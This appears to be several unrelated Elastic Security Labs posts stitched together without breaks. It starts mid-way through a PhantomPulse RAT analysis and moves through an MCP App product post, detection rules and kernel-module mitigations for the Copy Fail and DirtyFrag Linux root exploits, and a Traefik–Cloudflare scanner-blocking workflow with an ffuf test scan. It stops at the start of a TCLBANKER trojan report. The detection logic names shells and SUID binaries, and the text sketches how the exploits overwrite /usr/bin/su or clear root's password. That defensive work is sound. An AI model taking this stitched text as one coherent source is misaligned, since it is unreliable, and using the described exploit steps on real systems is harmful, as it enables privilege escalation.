• Software Discovery: Security Software Discovery
• Input Capture: Keylogging
• Clipboard Data
• Screen Capture
• Exfiltration Over C2 Channel
• Application Layer Protocol: Web Protocols
• Web Service
• Encrypted Channel
• Obfuscated Files or Information
• Deobfuscate/Decode Files or Information
• Access Token Manipulation
• Abuse Elevation Control Mechanism: Bypass User Account Control
• Native API
• Virtualization/Sandbox Evasion: Time Based Evasion
• Hijack Execution Flow: DLL Side-Loading
• Reflective Code Loading

Remediating

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.PhantomPulse

Observations

References

Prior reporting and toolkits referenced in this analysis:

• Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT
• Blockscout Ethereum Explorer
• DPRK Adopts EtherHiding
• Contagious Interview / fake-recruiter targeting of crypto-sector developers
• RustDoor and Koi Stealer for macOS
• BeaverTail and OtterCookie evolution
• DbgNexum proof-of-concept
• UACME issue #129: schuac UAC bypass
• Exploring Windows UAC Bypasses
• Memory Patching AMSI Bypass

Recently, we introduced MCP Apps for Elastic, built on the open MCP Apps extension to the Model Context Protocol, that lets an MCP tool return an interactive UI alongside its text response, rendered inline in Claude Desktop, Claude.ai, VS Code Copilot, Cursor, or any compatible host. This post goes deep on the Elastic Security MCP App, We’ll go over six interactive dashboards covering the core SOC loop, from alert triage to closed case, without leaving the conversation.

Elastic already ships AI agents inside the platform: Attack Discovery and Agent Builder work natively with your security data in Kibana. But analysts and security engineers also spend time in Claude, VS Code, and Cursor, writing detection logic, researching threats, and increasingly triaging findings. The question isn't whether to use Elastic's built-in AI or external tools. It's whether the external tools can give you the same interactive, visual workflow you get in Kibana. That's what the Security MCP App solves.

Security operations are inherently visual and interactive. An analyst scans alerts grouped by host, expands a process tree, traces a parent-child chain, and drags a suspicious entity onto an investigation graph. That loop doesn't survive compression into text. The Elastic Security MCP App brings those surfaces into the AI conversation, so the answer is the workflow, not a summary of it.

Why the Elastic Security MCP App matters for the SOC

When an agent tells a SOC analyst, "There are 47 alerts on host-314, here's a summary," it hasn't done any work. It's just pointed at where the work starts. The actual work lives in the alert list, the process tree, the investigation graph, and the case file. You can't do it from a paragraph of text.

The security MCP App returns the workflow itself. The analyst prompts the agent, and the agent returns an interactive dashboard in the chat where the analyst can drill into alerts, run threat hunts, correlate attack chains, and open cases, without losing the thread of the conversation. Everything you do in the MCP App writes back to Elasticsearch and Kibana through the same APIs the product uses. From Cases, alerts, and findings to hunt queries; you lose none of this context because it does not just live in the chat, but it is all stored in your Elastic cluster and Kibana environments, waiting to be picked back up when you are ready.

Six interactive dashboards

We chose six elements that map to the core SOC loop: detect, triage, hunt, correlate, respond, and test. Each one is a React UI that renders inline when the agent calls the corresponding tool:

Each tool returns a compact text summary that the model can reason over, alongside the interactive UI the analyst acts on. The UI can also fetch fresh data behind the scenes through the MCP host bridge. The full tool model and bridge API live in the repo's architecture doc.

The app also ships with Claude Desktop skills, SKILL.md files that teach the agent when and how to use each tool. You can download the pre-built skill zips from the latest release.

From alert to case

The five skills cover the core SOC loop. Each one picks up a prompt, calls a tool, and returns an interactive dashboard alongside a text summary that the model reasons over. The walkthrough below starts from scratch; if you're following along, the first step populates the cluster so the rest of the loop has data to work with.

Generate sample data. Starting with a fresh cluster? The Sample Data skill generates realistic ECS security events for four common attack scenarios: ransomware, lateral movement, credential theft, and data exfiltration. Ask the agent to generate sample data, pick a scenario, and within seconds, you have a populated alert queue to work from. Everything that follows in this walkthrough uses these events.

Triage alerts. Ask the agent to triage by host, rule, user, or time window. The Alert Triage skill returns a dashboard of AI verdicts above the raw alert list, with one verdict per detection rule classifying that rule's activity as benign, suspicious, or malicious, each with a confidence score and a recommended action. Click any alert to open a detailed view with a process tree, network events, related alerts, and MITRE ATT&CK tags. No tab switching between your AI tool and the alerts dashboard inside Kibana; everything happens in real-time inside the conversation.

Hunt for threats. Ask the agent to hunt across your indices. The Threat Hunt skill returns an ES|QL workbench with the query pre-populated and auto-executed, with every entity in the results clickable for drill-down. The model writes a short read-out below the table: what's unusual, what's connected, and what's worth a closer look. It then offers the next pivot: go deeper into the threat hunt, or hand off to another skill. Attack Discovery is the natural next step; it gathers more context on the alerts you've triaged and the threats you've hunted, correlating them into attack chains.

Run Attack Discovery. The Attack Discovery skill triggers the Attack Discovery API and returns a ranked list of findings. Each finding is a set of related alerts stitched into one attack chain, with MITRE tactics, a risk score, a confidence label, and the impacted hosts and users surfaced up front. The agent's summary lands below the findings in the same rank order, and the conversation now holds everything needed to act: hunt queries, triage decisions, correlated chains, all staged for the next step.

Open cases without leaving the chat. Approve findings in bulk or ask the agent to open cases for specific alerts. The Case Management skill creates one case per approved finding (source alerts attached, and MITRE tactics inherited from the attack chain) and renders the live case list inline. Click a case for its detail view, which includes a row of AI action buttons: Summarize case, Suggest next steps, Extract IOCs, and Generate timeline. Each one drops a structured prompt back into the chat, so the agent picks up the case context without needing a reintroduction. The agent's summary sits below the case list and covers the full IR queue, including the cases just opened and earlier findings that still need one.

Every step in this walkthrough runs the same loop: a prompt comes in, the skill picks it up, and the tool returns a compact text summary for the model to reason over, alongside an interactive UI that the analyst acts on. Chain the skills together, and they compose into an end-to-end SOC flow; hunt, triage, correlate, open cases, and drive the next pivot, all with the model carrying the session context across every step. Invoke any one on its own, and it's still the full dashboard, pointed at whatever slice of your data you name. Either way, the work accumulates inside the conversation; no tab switching, no copy-paste, no hand-offs.

One more skill rounds out the app: a detection-rule browser for tuning noisy rules, filtering by rule type, and flagging high-noise detections. A follow-up post will go deep on all six dashboards: investigation graph, attack-flow canvas, and end-to-end walkthrough.

Here’s the full walkthrough of this demo.

How Elastic's InfoSec team uses the Security MCP App

The MCP App's value compounds when the conversation has access to more than just Elastic Security. In a real SOC workflow, a single alert often leads to questions that span multiple systems: cases in Kibana, threads in Slack, issues in Jira, and cloud infrastructure logs. Traditionally, an analyst would pivot across each of those tools manually, assembling context one tab at a time.

With the Security MCP App connected alongside MCP servers for Slack, Jira, and cloud platforms, the agent can pull the full picture into one conversation: review a case and its attached alerts, cross-reference Slack channels for related outages or planned changes, check Jira for known issues, and compile a forensic summary covering root cause, actions already taken, and outstanding tasks, all before the analyst writes a single note. Once the analysis is reviewed and approved, the agent writes the findings back: a structured comment on the Kibana case, a summary posted to the relevant Slack channel, and alerts closed with context attached.

Cloud-based alerting benefits the same way. Strange activity in a cloud environment often turns out to be a known outage or an infrastructure change already under discussion in Slack or Jira. The agent can check those sources in seconds, correlate the context, and either close the alert with an explanation or escalate it with the full picture already attached.

The MCP App for Elastic Security bridges the gap between automated detection and manual hunting. By bringing our security data directly into a single interface within Claude Desktop, we surfaced 'silent' threats in under an hour — risks that didn't trigger standard alerts but required immediate action. It's a force multiplier for our analysts. — Mandy Andress, Chief Information Security Officer (CISO), Elastic

How it works

Each MCP App is a small Node.js server whose tools return both a compact text summary for the model and a React UI that the host renders inline. The server exposes two layers: model-facing tools the LLM calls (returning lightweight summaries for reasoning), and app-only tools the UI calls behind the scenes for interactivity, like expanding process trees or running ES|QL queries. Each view is a self-contained React app rendered in a sandboxed iframe. Because it's built on the open MCP App spec, the same server runs on any compatible host; see the repo's architecture doc for the full design

The agentic SOC, interactive

Two properties about this pattern are worth stating directly. First, the tool result is no longer the end of the work; it is the start of it: the conversation returns an interface you can act on, not a summary you have to act from. Second, this only works because Elasticsearch and Kibana already expose the security APIs. The MCP App is a thin interactive layer over the detection, investigation, and case management capabilities Elastic Security already ships.

Attack Discovery already powers the correlated findings view inside this app. Inside the stack, the same agentic pattern goes further: Elastic Workflows automate the deterministic steps (enrich entities, create cases, and isolate hosts), while Agent Builder reasons over the data and invokes those workflows as tools. The MCP App brings that same security surface into the external conversation; Workflows and Agent Builder deepen it inside the stack. Different entry points, same Elastic Security APIs underneath.

That architectural choice is deliberate. The MCP server runs on the analyst's own machine and connects directly to Elasticsearch using their API key. The LLM receives only compact summaries for reasoning, while the UI independently loads full investigation data through the same server. It adds a surface for analysts who already work in Claude, VS Code, or Cursor without introducing a dependency they have to adopt or a governance model they have to rebuild. The same role-based access controls you enforce through your Elasticsearch API keys apply to every action the app takes, which means the operational result is straightforward: analysts spend less time switching tools and more time closing cases.

Try the Elastic Security MCP App

The Elastic Security MCP App requires Elasticsearch 9.x with Security enabled, plus Kibana for cases, rules, and Attack Discovery. The fastest path is the one-click .mcpb bundle from the latest release; double-click it in Claude Desktop, and you'll be prompted for your Elasticsearch URL and API key. Setup guides for Cursor, VS Code, Claude Code, Claude.ai, and building from source are in the repo.

Don't have an Elasticsearch cluster yet? Start a free Elastic Cloud trial. For more on the building blocks behind the app, see the related Security Labs posts on Elastic Workflows and Agent Builder, Agent Skills, and Attack Discovery.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

Recent Linux kernel privilege escalation vulnerabilities, Copy Fail (CVE-2026-31431) , Copy Fail 2, and DirtyFrag, highlight how subtle page cache corruption bugs can become practical, reliable paths to root. These issues are especially relevant for defenders because exploitation involves legitimate kernel interfaces, local execution, and short proof-of-concept code. Copy Fail has been reported as exploited in the wild and was added to CISA's Known Exploited Vulnerabilities catalog.

To help mitigate these threats, Elastic Security Labs has developed detection logic focused on the exploitation patterns around these vulnerabilities rather than only matching a specific proof-of-concept implementation.

Copy Fail

Copy Fail is a logic bug in the Linux kernel's authencesn cryptographic template. The vulnerability chains AF_ALG and splice() to create a controlled 4-byte write into the page cache of any readable file. In practice, this corrupts the in-memory view of a setuid binary like /usr/bin/su and escalates privileges without changing the file on disk. The public exploit is a 732-byte Python script that works across Ubuntu, Amazon Linux, RHEL, and SUSE.

DirtyFrag

DirtyFrag expands the same bug class into the networking stack with two page-cache write variants. The ESP path uses XFRM security associations via AF_NETLINK to perform in-place crypto operations on spliced pages, overwriting /usr/bin/su with a minimal root-shell ELF. The RxRPC fallback path uses AF_RXRPC with pcbc(fcrypt) to corrupt /etc/passwd, clearing root's password field. Both paths require unshare(CLONE_NEWUSER | CLONE_NEWNET) to gain namespace capabilities before triggering the page-cache write.

DirtyFrag does not depend on the algif_aead module, meaning systems that only applied the Copy Fail mitigation may still be exposed.

Detection

For these vulnerabilities, we focused on detecting the underlying primitives and behavior, not only a specific exploit implementation. That distinction matters, Copy Fail already has multiple public reimplementations (Python, Go, Rust, C, Metasploit), and DirtyFrag ships as a public C proof-of-concept. Trying to detect only a specific PoC leaves defenders one step behind.

Syscall-Level Primitives (Auditd)

Both Copy Fail and DirtyFrag rely on socket(AF_ALG) to access the kernel crypto subsystem, and splice() to inject read-only file pages into network buffers where in-place cryptographic operations corrupt the page cache. DirtyFrag additionally uses socket(AF_RXRPC) as a fallback when AF_ALG is unavailable. These primitives are visible through auditd syscall auditing socket with a0 hex values of 26 (AF_ALG) or 21 (AF_RXRPC), and splice calls from non-root processes. We use these as early-stage signals, correlated via EQL sequences with the final privilege escalation step of gaining effective uid 0 from a non-root caller:

sequence with maxspan=60s
  [any where host.os.type == "linux" and    
   (
    (event.category == "process" and auditd.data.syscall == "socket" and auditd.data.a0 in ("26", "21")) or 
    (event.category == "process" and auditd.data.syscall == "splice") or 
    (event.category == "network" and event.action == "bound-socket" and data_stream.dataset == "auditd_manager.auditd" and ?auditd.data.socket.family == "38") 
    )  
   and user.id != "0"]  by process.pid, host.id, user.id with runs=10
  [process where host.os.type == "linux"  and event.action == "executed" and 
   (
     (user.effective.id == "0" and user.id != "0") or 
     (process.name in ("bash", "sh", "zsh", "dash", "fish", "ksh", "busybox") and 
      process.args in ("-c", "--command", "-ic", "-ci", "-cl", "-lc", "-bash", "-sh", "-zsh", "-dash", "-fish", "-ksh"))
    )] by process.parent.pid, host.id, user.id

Example of matches :

Namespace Creation (DirtyFrag-Specific)

DirtyFrag's exploit chain also relies on unshare(CLONE_NEWUSER | CLONE_NEWNET) to gain namespace capabilities. We correlate this event with a root process execution or a setuid(0) syscall shortly after:

sequence by host.id, process.parent.pid with maxspan=30s
 [process where host.os.type == "linux" and 
  (
   (auditd.data.syscall == "unshare" and auditd.data.class == "namespace" and auditd.data.a0 in ("10000000", "50000000", "70000000", "10020000", "50020000", "70020000")) or 

   (process.name == "unshare" and  
    (process.args in ("--user", "--map-root-user", "--map-current-user") or process.args like ("-*U*", "-*r*")))
   ) and user.id != "0" and user.id != null]
 [process where host.os.type == "linux" and 
  user.id == "0" and user.id != null and 
  (
   process.name in ("su", "sudo", "pkexec", "passwd", "chsh", "newgrp", "doas", "run0", "sg", "dash", "sh", "bash", "zsh", "fish", 
                    "ksh", "csh", "tcsh", "ash", "mksh", "busybox", "rbash", "rzsh", "rksh", "tmux", "screen", "node") or 
   process.name like ("python*", "perl*", "ruby*", "php*", "lua*")
  )]

Generic SUID Binary Abuse (Process Exec Events)

We also assessed detection options using process exec events only, as those tend to be enabled in more environments than auditd syscall auditing. A common final step for both exploits is to corrupt or influence the in-memory execution of a SUID binary such as su, sudo, pkexec, passwd, chsh, or newgrp, causing it to run attacker-controlled code as root.

Detection looks for suspicious executions where the process runs as effective UID 0, the real user is non-root, the parent process is also non-root, the SUID binary is launched with minimal arguments, and the parent process is a scripting runtime, shell one-liner, or executable from a user-writable path:

process where event.type == "start" and event.action == "exec" and (
  (process.user.id == 0 and process.real_user.id != 0) or
  (process.group.id == 0 and process.real_group.id != 0)
) and (
  (process.name == "su" and process.args_count <= 2) or
  (process.name == "sudo" and process.args_count == 1) or
  (process.name == "pkexec" and process.args_count == 1) or
  (process.name == "passwd" and process.args_count <= 2)
) and
(
  process.parent.name like (".*", "python*", "perl*", "ruby*", "lua*", "php*", "node", "deno", "bun", "java") or
  process.parent.executable like ("./*", "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/user/*", "/var/run/user/*", "/home/*/*") or
  (
    process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "mksh") and
    process.parent.args in ("-c", "-cl", "-lc", "--command", "-ic", "-ci", "-bash", "-sh", "-zsh", "-dash", "-fish", "-ksh") and
    process.parent.args_count <= 4
  )
)

Without relying on a child process being spawned, we can also hunt proactively for exploitation activity using ES|QL. Both Copy Fail and DirtyFrag produce a distinctive burst of interleaved socket(AF_ALG) and splice() syscalls from the same process. Copy Fail iterates 48 times to write 192 bytes, and DirtyFrag follows a similar pattern across its ESP and RxRPC paths.

The following query aggregates these syscalls by process and surfaces any non-root process combining AF_ALG or AF_RXRPC sockets with splice calls at volume :

FROM logs-auditd_manager.auditd-default*
| WHERE host.os.type == "linux" AND user.id != "0" AND
  (
    (event.category == "process" AND auditd.data.syscall == "socket" AND auditd.data.a0 IN ("26", "21")) OR
    (event.category == "process" AND auditd.data.syscall == "splice") OR
    (event.category == "network" AND event.action == "bound-socket" AND auditd.data.socket.family == "38")
  )
| EVAL
    is_af_alg   = CASE(auditd.data.syscall == "socket" AND auditd.data.a0 == "26", 1, 0),
    is_af_rxrpc = CASE(auditd.data.syscall == "socket" AND auditd.data.a0 == "21", 1, 0),
    is_splice   = CASE(auditd.data.syscall == "splice", 1, 0),
    is_bind_alg = CASE(event.action == "bound-socket" AND auditd.data.socket.family == "38", 1, 0)
| STATS
    socket_af_alg   = SUM(is_af_alg),
    socket_af_rxrpc = SUM(is_af_rxrpc),
    splice_count    = SUM(is_splice),
    bind_af_alg     = SUM(is_bind_alg),
    total_calls     = COUNT(*),
    first_seen      = MIN(@timestamp),
    last_seen        = MAX(@timestamp)
  BY host.name, user.name, process.executable, process.pid
| EVAL
    duration_seconds = DATE_DIFF("seconds", first_seen, last_seen),
    distinct_syscalls = CASE(
      socket_af_alg > 0 AND splice_count > 0 AND bind_af_alg > 0, "af_alg+splice+bind",
      socket_af_alg > 0 AND splice_count > 0, "af_alg+splice",
      socket_af_rxrpc > 0 AND splice_count > 0, "af_rxrpc+splice",
      socket_af_alg > 0, "af_alg_only",
      socket_af_rxrpc > 0, "af_rxrpc_only",
      splice_count > 0, "splice_only",
      "other"
    )
| WHERE total_calls >= 10 AND
  (socket_af_alg > 0 OR socket_af_rxrpc > 0) AND
  splice_count > 0
| SORT total_calls DESC
| LIMIT 50

Auditd rules:

The following rules can be added to your Auditd integration config to enable visibility on these exploit primitives:

-a always,exit -F arch=b64 -S socket -k socket_syscall
-a always,exit -F arch=b32 -S socketcall -k socket_syscall
-a always,exit -F arch=b64 -S splice -k splice-syscall
-a always,exit -F arch=b32 -S splice -k splice-syscall
-a always,exit -F arch=b64 -S bind -k socket_bound
-a always,exit -F arch=b32 -S bind -k socket_bound

Detection rules :

• Potential Copy Fail (CVE-2026-31431) Exploitation via AF_ALG Socket
• Suspicious SUID Binary Execution
• Suspicious Kernel Feature Activity rule
• Namespace Manipulation Using Unshare
• Privilege Escalation via SUID/SGID

Mitigation

Detection should be paired with hardening and patching. The primary remediation for both vulnerabilities is to update the Linux kernel once distribution patches are available.

Where immediate patching is not possible, targeted module blocking can reduce the attack surface. For Copy Fail, disabling the algif_aead module prevents the AF_ALG AEAD path used by the exploit:

echo "install algif_aead /bin/false" > /etc/modprobe.d/copyfail.conf
rmmod algif_aead 2>/dev/null

For DirtyFrag, disabling the affected networking modules blocks both the ESP and RxRPC exploit paths:

printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf
rmmod esp4 esp6 rxrpc 2>/dev/null

After applying either mitigation, dropping the page cache ensures any previously corrupted in-memory pages are discarded:

echo 3 > /proc/sys/vm/drop_caches

These mitigations should be tested in a staging environment before production deployment, as disabling kernel modules may impact IPsec VPNs, crypto applications, or other services depending on the affected subsystems. Dropping the page cache causes a brief I/O spike and should be avoided during peak load.

Restricting unprivileged user namespace creation also hardens against DirtyFrag and similar exploits:

sysctl -w kernel.unprivileged_userns_clone=0

On RHEL/Fedora, use user.max_user_namespaces=0 instead. This setting may affect applications that rely on unprivileged namespaces such as certain container runtimes and browser sandboxes. Evaluate compatibility before applying.

References :

• https://copy.fail/
• https://xint.io/blog/copy-fail-linux-distributions
• https://github.com/V4bel/dirtyfrag/tree/master
• https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo/
• https://access.redhat.com/security/vulnerabilities/RHSB-2026-003
• https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available
• https://aws.amazon.com/security/security-bulletins/rss/2026-027-aws/
• https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d

Self-hosted services exposed through a reverse proxy inevitably attract automated scanners probing for misconfigurations, admin panels, and vulnerable endpoints. In this article, I show how to turn routine Traefik access logs into an active defensive control using Elastic Security and Cloudflare.

I use an out-of-the-box ES|QL detection rule to identify web server discovery and fuzzing behavior. When suspicious probing patterns are detected, an automated workflow immediately blocks the offending source IP at the edge via the Cloudflare API. The best part about this setup is that it scales effortlessly. By building this response plumbing once for fuzzing detection, I can attach the exact same block action to any other Elastic rule such as those catching SQL injections or file inclusion attempts. This transforms a basic logging pipeline into a highly adaptable perimeter defense.

Background and the threat landscape

My homelab setup utilizes Proxmox VE for containers and VMs. I use a Traefik reverse proxy, secured with Authelia for authentication, to allow external access without a VPN. Cloudflare, with proxy enabled, manages DNS.

For those less familiar with this specific stack, Traefik acts as the network's front door. When a web request arrives via Cloudflare, Traefik dynamically routes the traffic to the correct internal container while managing SSL certificates to keep the connections encrypted. However, before any traffic actually reaches those backend applications, it gets intercepted by Authelia. By leveraging Traefik's forward authentication feature, Authelia enforces Single Sign-On and Multi-Factor Authentication across the board. This means automated scanners and attackers cannot even reach the login screens of my internal services without passing through that initial secure portal.

To maintain visibility and security, I ingest these Traefik access logs into Elastic using the official integration. During routine monitoring, I've observed numerous HTTP 404 response codes originating from the same source IP addresses in these logs.

This pattern suggests potential web server probing or fuzzing traffic targeting vulnerabilities in applications that are not actually in use on my network. Examples of these targeted paths include /wp-includes/mani., /wp-content/plugins/all-in-one-wp-security-and-firewall/templates.php, /archive.php, and /wp-admin/includes/header.php.

Design philosophy: why not Fail2Ban?

A common question in the homelab community is why not simply use local tools like Fail2Ban or CrowdSec directly on the Traefik server. While those are excellent tools, orchestrating the response through Elastic Security and pushing the block to Cloudflare provides two major advantages. Dropping malicious traffic at the Cloudflare edge saves local bandwidth and keeps scanners off the home network entirely. Plus, orchestrating the response through Elastic gives us a single pane of glass for all security monitoring.

Detection strategy and implementation strategy

To effectively identify malicious reconnaissance, our strategy relies on analyzing the frequency of HTTP response codes at the proxy level. Specifically, we are looking for a high volume of 404 (Not Found) errors generated by a single source IP within a short time window, a classic indicator of directory fuzzing or vulnerability scanning.

While Elastic Security provides robust, out-of-the-box detection rules for this exact scenario, these rules require properly normalized ECS (Elastic Common Schema) data to function correctly. Detecting and mitigating these scans therefore requires a coordinated flow. To get this working, we need to ingest the Traefik logs, patch in the missing host.name field using a custom pipeline, and point the detection rule at our data.

Threshold logic and tuning

Our detection strategy shifts away from simple string matching, relying instead on statistical thresholds. The rule specifically monitors for denied or non-existent resources represented by HTTP 403 and 404 response codes and aggregates this activity by the originating source IP.

This behavior is governed by the final where statement in the query. By default, an alert only triggers if a source IP produces more than 500 errors across 250 distinct URI paths during the polling window. This dual-layered threshold is designed to eliminate false positives, ensuring that a single broken asset doesn't trigger a block while still identifying automated scripts that cycle through directory wordlists.

In a smaller homelab or smaller teams environment, these defaults are often too permissive. Since legitimate external traffic has no reason to hit non-existent admin panels on my network, I adjusted the sensitivity to catch stealthier reconnaissance efforts early. I modified the logic to trigger when event_count > 100 and url_original_count_distinct > 50.

For production environments where applications naturally generate higher error volumes, you might consider increasing these values or appending an ES|QL where not clause to exclude known broken links. Finally, I use a where source.ip not in (...) filter to ensure that authorized security tools or personal vulnerability scanners are not accidentally banned by the automated workflow.

Ingesting Traefik access logs

To ingest the Traefik access logs into the cluster, I used the default integration for Traefik. The Elastic Agent collects logs from Traefik servers. This integration writes the ingested logs into the logs-traefik.access-default datastream.

Building a custom ingest pipeline

The host.name field is crucial for the detection rule I'm using, but the default Traefik integration doesn't populate it. Therefore, a custom ingest pipeline is required to add this field. Since the Traefik integration utilizes a file stream on the Traefik server, I can copy the value from the existing agent.name field to populate host.name.

I specifically use the logs-traefik.access@custom pipeline instead of modifying the main one. Elastic integrations are designed to automatically pick up and run these @custom pipelines right at the end of their processing flow. More importantly, default pipelines get completely overwritten whenever I upgrade an integration. Stashing my logic in the custom pipeline ensures that my field mappings actually survive the next update. The necessary API call to create this pipeline can be executed in the Dev Tools console:

PUT _ingest/pipeline/logs-traefik.access@custom
{
  "description": "copy the agent.name field to the host.name field",
  "processors": [
    {
      "set": {
        "field": "host.name",
        "value": "{{{agent.name}}}",
        "override": false,
        "ignore_empty_value": true,
        "ignore_failure": true
      }
    }
  ]
}

Automated response via Cloudflare workflow

To move from detection to active defense, we implement a workflow that bridges the gap between our Elastic alerts and the Cloudflare edge. The logic is designed to be efficient: rather than creating a new firewall rule for every single alert, which would quickly hit Cloudflare’s rule limits, the workflow first retrieves the existing blocklist. It then dynamically appends the new offending source IP to that list before pushing the update back to the Cloudflare API. Once the edge is secured, the workflow finishes by acknowledging the alert in Elastic, effectively closing the loop on the incident.

Prerequisites and token scope

This process requires both an API key and the Zone ID for the Cloudflare configuration. The API token must possess "Zone WAF edit" privileges to enable the creation of the rule. When generating this token in the Cloudflare dashboard, use the "Create Custom Token" option and set the permissions strictly to Zone -> Zone WAF -> Edit.

Once the workflow is configured, it must be assigned as an action to the "Web Server Discovery or Fuzzing Activity" detection rule.

With the prerequisites in place, let's walk through how we build the workflow step-by-step.

Workflow configuration and triggers

First, we define the basic metadata. This workflow blocks the IP addresses found in the alerts of the Web Server Discovery or Fuzzing Activity. The workflow is enabled and has a timeout of 30 seconds for the API request. In this case, it's based on an alert, so it runs automatically when a security alert is triggered.

# =========================================================================
# Workflow: Block IP at Cloudflare test
# Category: security/response
# =========================================================================
version: '1'
name: Block IP at Cloudflare
enabled: true

triggers:
  - type: alert

Constants and authentication

This section holds the variables for authentication. Remember to substitute the placeholder strings with your actual API token and Zone ID.

consts:
  cloudflare_api: "<cloudflare API>"
  cloudflare_zone: "<cloudflare ZONE>"

Step 1: Retrieving the current blocklist

The sequence checks if the firewall rule already exists. The workflow makes an HTTP GET request to retrieve the existing IP block rule.

steps:
  - name: cloudflare_current_block
    type: http
    with:
      url: "https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint"
      headers:
        Authorization: Bearer {{consts.cloudflare_api}}
      method: GET
    on-failure:
      continue: true

Step 2: Updating or creating the firewall rule

If it exists, the rule gets appended with the IP address otherwise, the rule gets created. The workflow identifies if the "webserver scanning block" description is present. If so, it appends the new IP address to the current list of blocked IP addresses via a PUT request. If not, it falls back to creating a new rule.

 - name: cloudflare_block
    type: if
    condition: 'steps.cloudflare_current_block.output.data.result.rules[0].description == "webserver scanning block"'
    steps:
      - name: ip-block-cloudflare_add
        type: http
        with:
          url: "https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint"
          method: PUT
          headers:
            Authorization: Bearer {{consts.cloudflare_api}}
          timeout: 30s
          body: '{ "rules": [ { "description": "webserver scanning block", "expression": "{{steps.cloudflare_current_block.output.data.result.rules[0].expression}} or (ip.src eq {{event.alerts[0].source.ip}})", "action": "block" } ]}'
    else:
      - name: ip-block-cloudflare_new
        type: http
        with:
          url: "https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint"
          method: PUT
          headers:
            Authorization: Bearer {{consts.cloudflare_api}}
          timeout: 30s
          body: '{ "rules":[ { "description": "webserver scanning block", "expression": "(ip.src eq {{event.alerts[0].source.ip}})", "action": "block" } ]}'
    on-failure:
      continue: true

Step 3: Acknowledging the alert

Then the alert gets acknowledged. This step uses the kibana.SetAlertsStatus action to automatically close out the alert in Elastic Security.

  - name: update_alert_status
    type: kibana.SetAlertsStatus
    with:
      status: "acknowledged"
      signal_ids: ["{{event.alerts[0]._id}}"]

Step 4: Attaching the Workflow to the Rule

With the workflow fully built, the final step is to actually attach it to the detection rule so it fires automatically. In the Elastic Security rule settings for the "Web Server Discovery or Fuzzing Activity" rule, I navigate to the Rule actions tab and add a new action. From the connector dropdown, I simply select the Cloudflare workflow I just created.

Note on WAF limits

Because this workflow concatenates IP addresses using an or statement (or (ip.src eq <IP>)), be mindful that Cloudflare has a character limit for custom WAF expressions (typically 4096 characters on standard tiers). In highly targeted environments, this string can eventually hit the limit. For homelabs and small teams, occasionally clearing out this WAF rule manually serves as a healthy reset.

Testing and Validation

To verify the pipeline is working end-to-end, we can generate some noise with a standard fuzzing tool. You can simulate a scanning attack against your own homelab using a fuzzing tool like ffuf or gobuster.

Run a quick scan against a non-existent directory on your public-facing Traefik domain:

ffuf -u https://your-domain.com/FUZZ -w /path/to/wordlist.txt

Once the simulation is running, we can observe the automated defense chain in action. The 404 errors appear almost immediately in the logs-traefik.access-default datastream. Within the polling interval, the ES|QL rule identifies the pattern and generates a new alert in the Elastic Security Alerts page. From there, the workflow takes over: it shifts the alert status to "acknowledged" and pushes the IP block to our Cloudflare WAF rule, effectively neutralizing the scanner at the edge before it can continue its reconnaissance.

You can confirm the block was successful by checking your Cloudflare Dashboard under Security -> WAF -> Custom rules. (Note: Be sure to remove your IP from the Cloudflare rule afterwards so you don't lock yourself out!)

Expanding the defense

The beauty of this setup is that our Cloudflare workflow isn't limited to just fuzzing detection. Once the automation is built, we can attach it to any Elastic rule that flags suspicious proxy traffic. For instance, we can tie this exact same response action to out-of-the-box rules targeting specific application exploits, like Web Server Local File Inclusion Activity, Web Server Potential Remote File Inclusion Activity to drop the attacker immediately. It also pairs perfectly with Potential Spike in Web Server Error Logs and Unusual Web User Agent to catch misconfigured scrapers and broader network noise. We build the plumbing once, and suddenly the whole perimeter gets smarter.

Conclusion

Wiring Traefik and Cloudflare into Elastic Security is a great way to turn basic access logs into an active defense. Homelab environments are constantly bombarded by automated scanners looking for low-hanging fruit. This automated workflow not only blocks attackers at the edge but also reduces alert fatigue by acknowledging the incidents automatically. It is a practical example of how security orchestration and response can save time while significantly improving your security posture.

The banking trojan monitors the victim's browser address bar via UI Automation, targeting 59 Brazilian banking, fintech, and cryptocurrency domains. Beyond the usual remote access commands, its most notable capability is a WPF-based full-screen overlay framework designed for operator-driven social engineering.

A second module handles distribution through spam agents, of which we recovered two variants: a WhatsApp worm that hijacks authenticated browser sessions to message the victim's contacts, and an Outlook email bot that sends phishing emails through the victim's own accounts via COM automation.

Through this report, we provide a detailed technical breakdown of each stage.

Key takeaways

• TCLBANKER uses environment-gated payload decryption; incorrect environments, such as sandboxes, silently fail to decrypt the payload
• A comprehensive watchdog subsystem continuously monitors for analysis tools, debuggers, instrumentation frameworks, and integrity violations throughout execution
• The banking trojan targets 59 Brazilian banking, fintech, and cryptocurrency domains, activating a WebSocket C2 session when a victim navigates to a monitored site
• A WPF-based full-screen overlay framework enables operator-driven social engineering, including credential harvesting, vishing wait screens, and fake Windows Update stalls, while hiding overlays from screen capture tools
• Worm modules propagate the malware: a WhatsApp bot and an Outlook email bot
• All C2 and distribution infrastructure is hosted on Cloudflare Workers under a single account, with developer artifacts (debug logging paths, test process names) and an incomplete phishing page, suggesting the campaign was identified in an early operational stage

Delivery

TCLBANKER is a Brazilian banking trojan that contains a dynamic infection chain with a heavy anti-analysis loading component that can deploy two embedded payloads (worm, banker). The observed infection chain bundles a malicious MSI installer inside a ZIP file. These MSI installer packages are abusing a signed Logitech program called Logi AI Prompt Builder.

